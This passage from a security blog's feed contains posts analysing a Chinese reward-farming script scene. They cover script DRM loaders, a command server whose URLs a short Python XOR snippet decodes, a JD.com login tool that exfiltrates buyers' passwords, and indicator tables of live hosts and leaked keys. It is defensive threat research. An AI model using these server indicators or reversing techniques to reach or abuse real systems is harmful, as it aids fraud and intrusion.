      <td><code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code></td>
      <td>session-param server and plaintext-password sink</td>
      <td><code class="language-plaintext highlighter-rouge">config.json:3</code>, <code class="language-plaintext highlighter-rouge">cron.js:54</code>, <code class="language-plaintext highlighter-rouge">express.js:52,101</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code></td>
      <td>demo host, default sink for the <code class="language-plaintext highlighter-rouge">ludeng.js</code> plugin</td>
      <td><code class="language-plaintext highlighter-rouge">ludeng.js:14,40</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">smshop.back1.idcfengye.com</code></td>
      <td>commercial purchase portal</td>
      <td>READMEs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">:12345/get?k=&lt;key&gt;</code></td>
      <td>dingdingdang open plaintext-store dump</td>
      <td><code class="language-plaintext highlighter-rouge">api.py:289-305</code>, <code class="language-plaintext highlighter-rouge">README:54</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0 25 20,23,2 * * *</code> (Asia/Shanghai)</td>
      <td>3x/day password-exfil cadence (20:25 / 23:25 / 02:25)</td>
      <td><code class="language-plaintext highlighter-rouge">config.json</code>, <code class="language-plaintext highlighter-rouge">express.js:121-134</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">f7b821...</code></td>
      <td>GAC Motor WeChat AppSecret, hardcoded, not yet rotated</td>
      <td><code class="language-plaintext highlighter-rouge">WoolWeb/server/data_gac.json</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">registry.cn-hangzhou.aliyuncs.com/smallfawn/linux_amd64_ddd</code></td>
      <td>dingdingdang Docker image (x86_64)</td>
      <td>dingdingdang README</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">registry.cn-hangzhou.aliyuncs.com/smallfawn/linux_arm64_ddd</code></td>
      <td>dingdingdang Docker image (ARM64)</td>
      <td>dingdingdang README</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HASL1</code></td>
      <td>leaked JDLogin-Client license key (2024-11-10, scrubbed next day)</td>
      <td><code class="language-plaintext highlighter-rouge">config.json</code> history <code class="language-plaintext highlighter-rouge">9df41a2</code></td>
    </tr>
  </tbody>
</table>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[smallfawn sells JD.com login tools to other reward-farmers. By design, the buyer cannot log a victim in without calling smallfawn's own server, and the plaintext passwords are relayed there three times a day. Source-verified at file:line, with the git history that proves the server is real.]]></summary></entry><entry><title type="html">A weekend in the wool: mapping a Chinese reward-farming underground from one GitHub repo</title><link href="https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool/" rel="alternate" type="text/html" title="A weekend in the wool: mapping a Chinese reward-farming underground from one GitHub repo" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/a-weekend-in-the-wool/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>A friend’s grep.app link and a hunt for leaked password prefixes turned one 292-star GitHub repo (<code class="language-plaintext highlighter-rouge">985Ming/qlk</code>) into a map of a Chinese reward-farming (薅羊毛) underground: 16 actors, 26 repos, 60+ targeted platforms.</li>
  <li>Reward farming here means running scripts on a schedule, via Qinglong (a cron-job webui), to drain loyalty points, coupons, and lottery payouts from apps, then cashing out on Xianyu or Pinduoduo.</li>
  <li>It runs like a supply chain: operators write the scripts, one operator (wyourname) rents out script DRM to protect them, shared plumbing (NiuPanel, obfuscators, OCR, device-ID pools) hides the bots, and a WXPusher ping tells the operator when money lands.</li>
  <li>The targets are broad: music, video, novels, telecom, and banks, plus civic and government apps and state media.</li>
  <li>The ugly part: in at least one case the tooling robs its own users. smallfawn sells a JD.com login tool wired to exfiltrate the buyer’s logins, plaintext passwords included, to a server they control.</li>
  <li>Where it stops: the modern scripts are sealed behind wyourname’s C2, which is dark (404s, <code class="language-plaintext highlighter-rouge">status: false</code>). I mapped 49 of them and decrypted none. Everything I cracked is the older, weaker tier.</li>
  <li>All read-only. I didn’t farm an account or log into anything, and anything live went to the vendors first.</li>
</ul>

<hr />

<h2 id="how-it-all-started">How it all started:</h2>

<p>Recently a friend shared a link to <a href="https://grep.app">grep.app</a>, a super fast GitHub search tool.
I started hunting for known password and API key prefixes. One of them landed
me on this repo: https://github.com/985Ming/qlk.</p>

<p>This is a repo of ~99 obfuscated python and js scripts, with the description:</p>

<p>Original Chinese:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>青龙脚本库 2025年新本；脚本q群1025838653
</code></pre></div></div>

<p>English translation:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Qinglong Script Library – New scripts for 2025; Script QQ Group: 1025838653
</code></pre></div></div>

<p>This really piqued my interest, what on earth have I just stumbled upon (rip
StumbleUpon 2002 - 2018)</p>

<p>Well after cloning the whole repo I realised that I couldn’t read or understand
any of it, so now I have to, there goes my weekend.</p>

<hr />

<h2 id="what-on-earth-is-qinglong">What on earth is Qinglong?</h2>

<p>This was about all I had to go off to figure out what was going on. Turns out
this is a program used by wool farmers to run scripts
on a regular basis. Think of this like a webui for cron jobs: https://github.com/whyour/qinglong</p>

<p>This is a common tool for people who do “wool”, or reward farming in English.
They run Qinglong as their orchestration server. Submit a script, set a
cadence, and it fires. qlk was a pile of exactly those scripts.</p>

<p>This turns out to be a full on ecosystem of rewards farming -&gt; monetization -&gt;
cashout chains.</p>

<hr />

<h2 id="the-黑灰产-or-blackgrey-industry-of-薅羊毛">The 黑灰产 or black/grey industry of 薅羊毛</h2>

<p>Where there is money to be made, someone will find a way to exploit it. I went
in expecting a few people swapping scripts. I came out the other side with 16
actors, 26 repos, and 60+ targeted platforms.</p>

<p>As part of this there is an entire structure that is built around this, and the
more I pulled on the thread the less it looked like a few people swapping scripts
and the more it looked like an actual supply chain. Roughly, it stacks up like this:</p>

<ul>
  <li><strong>The operators</strong> — the people writing and running the scripts. Two camps: the
reward farmers (985Ming, xxwppp, KingJin, smallfawn and friends) going after
Chinese loyalty and points programs, and a separate crowd cracking iOS in-app
purchases (MCdasheng, Yu9191). Different targets, same playbook.</li>
  <li><strong>A protection layer</strong> (protecting the scripts) — qlk’s own obfuscation came
apart easily, and that turned out to be the easy tier. One operator, wyourname,
runs the industrial version: DRM as a service, encrypted <code class="language-plaintext highlighter-rouge">.so</code> loaders plus a
C2 server that hands out the decryption key per machine. The other authors rent
it so their scripts can’t just be lifted straight off GitHub. That tier is the
one that actually stopped me. At least this is what I think is happening.</li>
  <li><strong>The plumbing</strong> — Qinglong to run everything, plus a from-scratch clone called
NiuPanel, obfuscators to hide the scripts, a shared deobfuscator to unhide them,
OCR services to solve CAPTCHAs, and shared device-ID pools so every bot looks like
a real phone.</li>
  <li><strong>The targets</strong> — those 60+ platforms. Music, video, novels, telecom, banks… and
more uncomfortably, civic and government apps and even state media.</li>
  <li><strong>Cashout</strong> — points become vouchers become cash, resold on Xianyu or Pinduoduo, or
lottery wins paid straight out to Alipay.</li>
</ul>

<p>The whole thing is really just one pipeline: the scripts -&gt; Qinglong runs
them on a schedule -&gt; they hammer the target apps -&gt; points and coupons -&gt;
resold or cashed out -&gt; a WXPusher notification pings the operator to say the
money landed. Distribution sits over the top of all of it: GitHub, Telegram, QQ
groups, and a marketplace at script.345yun.cn.</p>

<p>And here’s the bit that made me really worried, and realised that this really
is not just some skids: in at least one case the tooling steals from the people
using it. One of the most capable operators, smallfawn, sells a JD.com login
tool to other farmers that’s quietly wired to send the harvested logins,
plaintext passwords included, three times a day back to a server they control.
They are, quite literally, farming the farmers.</p>

<p>I should be straight up about where this all ends, because it’s the part that’s
most of the work and least of the fun: the modern scripts are sealed behind that
wyourname C2, and the key server is effectively dark, it 404s, and a <code class="language-plaintext highlighter-rouge">status:
false</code> flag gates the handout. And even getting that far, the loader geolocates
you and POSTs a fingerprint of your machine to a box in Shanghai first, so I’d be
handing my own setup straight to them. So I mapped 49 of them and decrypted
exactly… none. Everything I did manage to crack is the older, weaker tier.</p>

<p>Over the next few posts I’ll pull each layer apart, so stay tuned for:</p>

<ol>
  <li><strong><a href="/security/2026/06/23/the-wool-drm/">The DRM, part 1</a></strong>: wyourname’s
old Cython loader, and how I reversed it end to end. The key was baked into
the binary, so it protected nothing.</li>
  <li><strong><a href="/security/2026/06/23/the-great-rust-wall/">The DRM, part 2</a></strong>: the
current Rust tier, where the key lives on a C2 and never on your machine, and
how far I got without ever breaking it.</li>
  <li><strong><a href="/security/2026/06/29/farming-the-farmers/">Farming the farmers</a></strong>:
smallfawn’s JD.com login tool, quietly wired to rob the people who buy it.</li>
  <li><strong>The civic angle</strong>: how government, civic, and state-media apps got dragged
into all this.</li>
  <li><strong>The attack mechanics</strong>: the handful of tricks that show up again and again
across 60+ platforms.</li>
  <li><strong>The cast</strong>: the 16 actors, and how I mapped the whole bloody thing from
one random repo.</li>
</ol>

<p>All of it was read-only, I didn’t farm a single account or log into anything,
and anything live went to the vendors first.</p>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[A weekend that started with a grep.app search for leaked password prefixes and ended in a 16-actor Chinese reward-farming (薅羊毛) ecosystem: its script DRM, its C2, its credential theft, and the civic apps it targets.]]></summary></entry><entry><title type="html">The wool DRM, part 2: the Rust wall I didn’t crack</title><link href="https://neurowinter.com/security/2026/06/23/the-great-rust-wall/" rel="alternate" type="text/html" title="The wool DRM, part 2: the Rust wall I didn’t crack" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/the-great-rust-wall</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/the-great-rust-wall/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>Recap: <code class="language-plaintext highlighter-rouge">wyourname/wool</code> is the script-DRM repo a big slice of the Chinese
reward-farming (薅羊毛) scene rents to seal their fraud scripts. The old
Cython tier baked its key into the binary, so I cracked it. That was the
previous post.</li>
  <li>The current tier is Rust (<code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">common</code>, <code class="language-plaintext highlighter-rouge">component</code>) doing AES-CBC.
The key is never in the binary: <code class="language-plaintext highlighter-rouge">common</code> fetches it per machine from a C2 and
<code class="language-plaintext highlighter-rouge">loader_v2</code> decrypts with it.</li>
  <li>I did not crack one ev2 payload, and that is the design working as intended.</li>
  <li>Score: 49 ev2 scripts mapped, 0 decrypted. The crypto is ordinary, the wall
is where the key lives.</li>
  <li>The C2 is <code class="language-plaintext highlighter-rouge">1.94.146.238:8099</code> (Huawei Cloud, Shanghai) with a <code class="language-plaintext highlighter-rouge">doudoudou.top</code>
backup. It currently 404s and <code class="language-plaintext highlighter-rouge">control.json</code> carries <code class="language-plaintext highlighter-rouge">status: false</code>, but the
binaries were still updated in June 2026, so someone is still running it.</li>
  <li>Everything I say about what the sealed scripts do is inference, not
extraction. All read-only, nothing farmed, nothing logged into.</li>
</ul>

<hr />

<h2 id="recap-the-loader-i-cracked">Recap: the loader I cracked</h2>

<p>A quick recap if you skipped
<a href="/security/2026/06/23/the-wool-drm/">the first post</a>. <code class="language-plaintext highlighter-rouge">wool</code> is a zero-star
GitHub repo that does one job, script DRM, and a large part of the Chinese
reward-farming scene rents it to seal their fraud scripts. The repo ships four
loaders. The
old one is a Cython module running a hand-ported JavaScript DES, and I reversed
it end to end, because the key was baked into the binary. Recover that key once
and every payload the loader ever sealed falls open.</p>

<p>This post is about the other three, the ones written in Rust. They are the tier
the operator built after deciding the baked-in key was the mistake, which it
was… The cipher is no harder. The key just stopped living on your machine.</p>

<hr />

<h2 id="track-b-the-great-rust-wall-ev2">Track B: The Great Rust Wall (ev2)</h2>

<p>I found Track B by accident. With the DES loader working, I started feeding it
every encrypted file in the repo thinking I had hit the jackpot, and most
decrypted fine. Then a whole folder, <code class="language-plaintext highlighter-rouge">encrypted_files_v2</code>, threw
<code class="language-plaintext highlighter-rouge">json.JSONDecodeError</code> on every single file. The DES loader was trying to parse
them as something they weren’t and giving up the ghost. These were not DES
payloads. They were a different format altogether, for a different loader. That
is when it clicked: two generations of this thing, not one. Hence the different
.so files!</p>

<p>The newer generation is Rust. <code class="language-plaintext highlighter-rouge">loader_v2</code> (827 KB) and <code class="language-plaintext highlighter-rouge">component</code> (8.2 MB) are
both Rust compiled to native code, and where the Cython loader handed me
everything, these kept their secrets. So I’ll say it up front: I did not get
through this tier. I can map it, fingerprint the format, and name most moving
parts. But I never decrypted a single ev2 payload. That is by design, and the
design is good, well its good against offline attacks.</p>

<p>How do I know it’s Rust if it’s stripped? Because Rust has a few tell tale
signs. It bakes the source path of every panic site into the binary, including
the full path of every crate it pulled from the build machine’s cargo registry,
versions and all. The operator’s function names are gone, but the dependency
tree is sitting in <code class="language-plaintext highlighter-rouge">strings</code>: <code class="language-plaintext highlighter-rouge">pyo3</code> (a Python extension written in Rust),
<code class="language-plaintext highlighter-rouge">tokio</code> (async), <code class="language-plaintext highlighter-rouge">flate2</code> (gzip), and in <code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">zeroize</code> next to a
<code class="language-plaintext highlighter-rouge">src/utils/crypto.rs</code> doing block-cipher work. No more JavaScript DES :(. This
is the real thing.</p>

<p>The split across the binaries is the clever part. <code class="language-plaintext highlighter-rouge">loader_v2</code> exposes one
Python method, <code class="language-plaintext highlighter-rouge">_decrypt(eb)</code>, that takes an encrypted bundle and does the
whole job inside Rust: custom Base64, AES-CBC, gzip, marshal, run. Unlike Track
A’s <code class="language-plaintext highlighter-rouge">get_key()</code>, nothing hands you the key. It never leaves Rust memory, and
<code class="language-plaintext highlighter-rouge">zeroize</code> wipes it after use. It’s also machine-bound: <code class="language-plaintext highlighter-rouge">sysinfo</code> reads
<code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> and friends so a bundle is tied to the hardware it was
provisioned for. And the key does not live in the binary at all. It comes from
the operators C2 server.</p>

<p>That server is in <code class="language-plaintext highlighter-rouge">control.json</code>, in the root of the repo:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"message"</span><span class="p">:</span><span class="s2">"已更新"</span><span class="p">,</span><span class="nl">"status"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="w">
 </span><span class="nl">"url1"</span><span class="p">:</span><span class="s2">"Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg=="</span><span class="p">,</span><span class="w">
 </span><span class="nl">"url2"</span><span class="p">:</span><span class="s2">"Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg=="</span><span class="p">,</span><span class="nl">"version"</span><span class="p">:</span><span class="mf">1.07</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The URLs are base64 over a fixed key XOR, and the key is <code class="language-plaintext highlighter-rouge">wyourname</code>, the
author’s own username:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">base64</span>
<span class="o">&gt;&gt;&gt;</span> <span class="k">def</span> <span class="nf">dexor</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="sa">b</span><span class="s">"wyourname"</span><span class="p">):</span>
<span class="p">...</span>     <span class="n">raw</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="p">...</span>     <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span>
<span class="p">...</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">dexor</span><span class="p">(</span><span class="s">"Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg=="</span><span class="p">)</span>
<span class="sa">b</span><span class="s">'http://1.94.146.238:8099/'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">dexor</span><span class="p">(</span><span class="s">"Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg=="</span><span class="p">)</span>
<span class="sa">b</span><span class="s">'http://api.doudoudou.top/'</span>
</code></pre></div></div>

<p>The primary on a Huawei Cloud box in Shanghai, and a backup on <code class="language-plaintext highlighter-rouge">doudoudou.top</code>.
The third Rust binary, <code class="language-plaintext highlighter-rouge">common</code> (3.2 MB), is the client that talks to it:
<code class="language-plaintext highlighter-rouge">reqwest</code> and <code class="language-plaintext highlighter-rouge">rustls</code> in its crate list, it fingerprints the machine, POSTs to
that C2 over HTTP, and gets back the per script key, which it feeds to
<code class="language-plaintext highlighter-rouge">loader_v2</code> to do the decrypt. So the work is split three ways: <code class="language-plaintext highlighter-rouge">common</code>
fetches the key, <code class="language-plaintext highlighter-rouge">loader_v2</code> uses it, and the operator’s server is the only
place the key ever sits in the clear.</p>

<p>That is the whole design, and it is the part Track A got wrong. Track A baked
the key into the loader the key was in the same draw as the lock, so recovering
it once broke everything. Track B leaves the locked payloads public, on
GitHub’s CDN where there is nothing to take down since the scripts are not
readable at all, and keeps the keys on a server it controls. You can clone
every ev2 file in the repo. Without the C2, they are noise. Though I do wonder
I could brute force them somehow… Spoiler: You can’t. With standard AES-CBC
and zero key leaks in the binary, the keyspace is a computational brick wall.</p>

<h3 id="componentso-the-heavy-runtime">component.so: the heavy runtime</h3>

<p><code class="language-plaintext highlighter-rouge">loader_v2</code> is the light tier. <code class="language-plaintext highlighter-rouge">component.so</code> is the other one, and it is a
different animal: 8.2 MB, built on a statically-linked OpenSSL instead of
Rust’s <code class="language-plaintext highlighter-rouge">rustls</code>, with its symbol table left in. Among its strings, XOR’d with
<code class="language-plaintext highlighter-rouge">wyourname</code> again, is a client-key path:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/ssl/private/UAP_reload_ca.key
</code></pre></div></div>

<p>I have to be careful here, because this is where I start reading tea leaves. I
never watched <code class="language-plaintext highlighter-rouge">component</code> talk to anything, the C2 is dark, so the mutual-TLS
story is inferred from that one string, not seen on the wire. But it’s a loud
string. A binary that statically links the whole OpenSSL stack and reaches for
a CA private key at a fixed path is almost certainly doing client-certificate
auth: a server that won’t open the door unless you present a cert it issued.</p>

<p>Which raises a question I can’t fully answer: how does that key get onto the
box? <code class="language-plaintext highlighter-rouge">component</code> reads the path, it doesn’t write it, and it ships no
certificate of its own. So something else has to drop the key at install time,
which means these instances aren’t generic, they’re provisioned. Whatever sets
a subscriber up hands them a client cert tied to the operator’s CA. I never
caught that step happening, so the mechanism is a gap, but the shape is clear
enough: this tier expects a tailored, pre-seeded box, not a fresh <code class="language-plaintext highlighter-rouge">pip
install</code>. I guess maybe this comes from Qinglong?</p>

<p>It doesn’t stop there. <code class="language-plaintext highlighter-rouge">component</code> enumerates every single network interface
and reads the MAC addresses (<code class="language-plaintext highlighter-rouge">getifaddrs</code>), binding the license to physical
hardware, not just an OS install. And it can update and delete itself:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New version available! Please update.
No wyourname.so file found in the current path.
</code></pre></div></div>

<p>When the C2 signals a new version, the binary deletes itself and pulls the
replacement, so the operator can push fresh code to every install silently by
bumping a counter. The whole thing is hardened like commercial DRM, because
that is basically exactly what it is.</p>

<p>One fun detail is where the operator talking back. Among those same XOR’d
strings, decoded with the same <code class="language-plaintext highlighter-rouge">wyourname</code> key:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Whatareyoulookingat
</code></pre></div></div>

<p>Which is a fair question to leave for whoever is doing exactly what I was doing.</p>

<h3 id="what-the-sealed-files-give-up-anyway">What the sealed files give up anyway</h3>

<p>I couldn’t read the ev2 payloads, but I didn’t leave them alone, and an
encrypted file is rarely as opaque as it looks. Strip off the outer
<code class="language-plaintext highlighter-rouge">func_mod::xor</code> layer (a reversible byte-to-printable transform, with no secret
in it) and the structure is right there. Every file opens with the same
12-character magic, <code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code>, and the first 86 bytes are byte-for-byte
identical across all 192 files I pulled: that magic plus a first instruction
that is always the same gzip header. The plaintext is gzipped bytecode, and the
format barely bothers to hide that much.</p>

<p>The binary claimed AES. The format confirmed it, and told me something odder
besides: this isn’t one big encrypted blob. It’s a stream of small structured
records, one per bytecode instruction, each sitting between <code class="language-plaintext highlighter-rouge">&gt;TZK&gt;</code> delimiters
with its encrypted bytes in the middle. Run an autocorrelation over a file and
there’s a clean spike at a 64-character period: 16 bytes, one AES-CBC block. So
each instruction is encrypted on its own, a block at a time. The operator
didn’t encrypt a file, they built a custom per-instruction container and AES’d
the contents one record at a time.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+-----------------------+----------------+-----------------+
| &gt;TZK&gt;          | AES-CBC ciphertext    | &gt;5@K&gt;zNZuqYvC~ | opcode argument |
| frame delim    | 16 bytes (one block)  | inner delim    | 2 chars, clear  |
+----------------+-----------------------+----------------+-----------------+
</code></pre></div></div>

<p>One record, repeated once per instruction. The file opens with the 12-char
magic <code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code> once. In the file each ciphertext byte is written as four
ASCII characters and the delimiters are literal, so that 16-byte block is 64
characters on disk; longer instructions chain more blocks.</p>

<p>And the records leak. Each encrypted instruction is trailed by a two-character
argument that isn’t encrypted at all, and I’m sure of that from how it behaves
across builds. The repo ships every script compiled for four Python versions,
and bytecode changes between versions, so the encrypted bytes shift from the
3.9 file to the 3.11 one. The two char suffixes don’t. A value that stays
identical across all four builds, at a fixed spot right after the delimiter,
can’t be inside the ciphertext: it’s the opcode’s argument, outside the
encryption in the clear.</p>

<p>That is the ceiling. With the magic, the block structure, the plaintext
arguments, and file sizes lined up against scripts I’d already cracked on the
xxwppp side (the sister cluster of repos that runs on the same Track A loader,
so its payloads come out readable), I can sketch the skeleton of any ev2 file
in the repo. What I can’t do is read a line of it. The key is the one thing the
format doesn’t leak.</p>

<hr />

<h2 id="the-contrast-yphd-reversed-before-lunch">The contrast: yphd, reversed before lunch</h2>

<p>To see why the wool C2 model is actually strong, it helps to look at someone in
the same scene who did it the other way. <code class="language-plaintext highlighter-rouge">yphd</code> and <code class="language-plaintext highlighter-rouge">khr2606</code> are two binaries
from a neighbouring repo, and they look intimidating: 15 MB and 10 MB ELF
files, every string encrypted, no readable Python anywhere. But they are Nuitka
<code class="language-plaintext highlighter-rouge">--onefile</code> builds. Nuitka is a Python to C compiler, and <code class="language-plaintext highlighter-rouge">--onefile</code> bundles
the whole interpreter plus a zstd-compressed copy of the program into a single
executable. The “encryption” is just Nuitka packing its constant tables. It
isn’t a security feature and it isn’t gated on anything. Everything needed to
run is inside the file.</p>

<p>Which means it all comes back out. The Nuitka bootstrap unpacks itself to a
temp directory at startup; catch it there and you have the original Python.
<code class="language-plaintext highlighter-rouge">khr2606</code> turned out to be a solver for China Unicom’s “Customer Day” Bubble
Battle, a hexagonal bubble shooter run as a loyalty promotion - pretty much a
clone of <code class="language-plaintext highlighter-rouge">Puzzle Bobble</code> with some rewards. The script runs a BFS over the grid
to find floating bubbles, picks the shot that clears the most, and, my
favourite touch, deliberately stops once it has eliminated more than 200 so it
doesn’t look like a bot. The whole thing was readable in about two hours.</p>

<p>That is the point. <code class="language-plaintext highlighter-rouge">yphd</code> packs its code; wool gates its code. Packing always
loses under scruitany, because the unpacked version has to exist somewhere at
runtime for the program to do anything. A C2 held key never has to exist on the
victim’s machine at all. It is the difference between a locked box you were
also handed the key to, and a locked box whose key stays on someone else’s
server.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>So here is the honest dead end. There are 49 ev2 scripts in the repo, four
Python builds each, 196 files in all, and I have 192 of them, every build of
all but one script. I can describe the format down to the byte, I know the
cipher is AES-CBC, I know the key is universal and the same for every user.
What I do not have is that key, because it only comes from the C2, and the C2
will not talk to me. Every path I tried on <code class="language-plaintext highlighter-rouge">1.94.146.238:8099</code> returns 404, and
<code class="language-plaintext highlighter-rouge">control.json</code> carries <code class="language-plaintext highlighter-rouge">status: false</code>. Whether the server is off, moved, or
simply refusing anything without a valid machine fingerprint and the right
client certificate, I can’t tell from the outside. The repo itself is alive,
its compiled binaries were updated as recently as June 2026. Someone is still
maintaining it. The doors are just locked.</p>

<p>Which means everything I can say about what those 49 scripts actually do is
inference, and I want to be clear about that. The names are romanized guesses
from the encoded filenames. The categories, KuWo Music, Ximalaya, Bilibili,
state-media reading apps, a pile of regional civic platforms, come from file
size, instruction counts, the plaintext argument bytes, and matching sealed
files against their cleartext twins on the xxwppp side. None of it was
extracted. I never saw the source of one ev2 script. If this series tells you
what <code class="language-plaintext highlighter-rouge">nebula-pr</code> does, it is a hypothesis with evidence behind it, not a
decryption.</p>

<p>That is the wall, and it’s a good one. The reason I can tell the Track A story
all the way through and the Track B story only halfway comes down to a single
design decision: where the key lives.</p>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://pyo3.rs/">PyO3</a>, the Rust-to-Python bridge behind <code class="language-plaintext highlighter-rouge">loader_v2</code>,
<code class="language-plaintext highlighter-rouge">common</code>, and <code class="language-plaintext highlighter-rouge">component</code>.</li>
  <li><a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES</a> in CBC mode,
the cipher behind the ev2 format, with the key held off the box on the C2.</li>
  <li><a href="https://docs.python.org/3/library/marshal.html">Python’s <code class="language-plaintext highlighter-rouge">marshal</code></a> and
<a href="https://docs.python.org/3/c-api/veryhigh.html#c.PyEval_EvalCode"><code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code></a>,
the last two steps of the ev2 pipeline once the AES layer comes off.</li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[The current wool DRM tier is Rust with its AES key held on a C2, never in the binary. I mapped the format down to the byte and never decrypted a line. That is the design working as intended.]]></summary></entry><entry><title type="html">The wool DRM, part 1: the Cython loader I cracked</title><link href="https://neurowinter.com/security/2026/06/23/the-wool-drm/" rel="alternate" type="text/html" title="The wool DRM, part 1: the Cython loader I cracked" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/the-wool-drm</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/the-wool-drm/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">wyourname/wool</code> is a zero-star GitHub repo that does one job: script DRM. A
big slice of the Chinese reward-farming (薅羊毛) scene rents it to seal their
fraud scripts so they can’t be lifted straight off GitHub.</li>
  <li>Why bother locking a checkin script? In this scene the script is the product.
It gets sold, rented, and gated behind license keys, so the code itself is
the thing a buyer is paying not to be able to copy.</li>
  <li>The old tier is a Cython module (<code class="language-plaintext highlighter-rouge">loader_39_x86_64.so</code>) running a hand-ported
JavaScript DES. I reversed it end to end.</li>
  <li>The key is hardcoded (<code class="language-plaintext highlighter-rouge">f30db728...</code>), the same eight bytes in every build.
Recover it once and every payload that loader ever sealed falls open, so it
protects nothing.</li>
  <li>I’m publishing the method and the lesson, not a decrypt script. All
read-only, nothing farmed, nothing logged into.</li>
  <li>The newer tier of DRM fixed the mistake that made this one crackable: it
moved the key off the box and onto a C2. That is the next post.</li>
</ul>

<hr />

<h2 id="why-i-started-pulling-on-these-so-files">Why I started pulling on these .so files</h2>

<p>At the end of the last post I had a repo I couldn’t read. Here’s the part I
skipped over: qlk’s own obfuscation was never the hard problem.</p>

<p>Every script is the same trick, base85 or XOR or a subtract cipher, then zlib,
then a marshalled code object handed straight to <code class="language-plaintext highlighter-rouge">exec()</code>. It runs in memory and
never writes a .pyc, so it stops you reading the source but not running it, and
anything you can run you can hook. After decoding these scripts I realised what
I had stumbled upon, a treasure trove of scripts that are used to defraud news
sites, ads, and local government websites, all
to make a little bit of cash. We will go into this in more detail in another
post.</p>

<p>Curious to see if this was just a single example of bad opsec, I started
searching the endpoints they were targeting. Boy they were everywhere: a KuWo
cash-withdrawal endpoint alone is in at least five other people’s repos. And it
wasn’t just the targets that matched: two of qlk’s obfuscators are hand-rolled,
not off-the-shelf, and the same fingerprints turned up in another author’s repo
in the same cluster. Same private toolchain, different authors. qlk wasn’t a
one-off, it was one corner of a whole scene.</p>

<p>So I started reading through these repos. Most were more of the same: same
apps, same obfuscation, the odd file copied word for word from one account to
the next. Typical for a scene like this that people would be stealing others
scripts. But a few were built differently. They didn’t contain any logic at
all. They imported a loader, pulled down a .so, and handed it an encrypted
string to run. And one of them, a plaintext one, had left the download URL
sitting right at the top of the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DEBIAN_URL</span> <span class="o">=</span> <span class="s">'https://raw.githubusercontent.com/wyourname/wool/master/others'</span>
</code></pre></div></div>

<p>That was the repo. <a href="https://github.com/wyourname/wool">wyourname/wool</a>: zero stars, description 自用 (“personal
use”), quietly hosting the loaders a large portion of the scene was using
to protect their scripts.</p>

<hr />

<h2 id="why-lock-a-wool-script">Why lock a wool script?</h2>

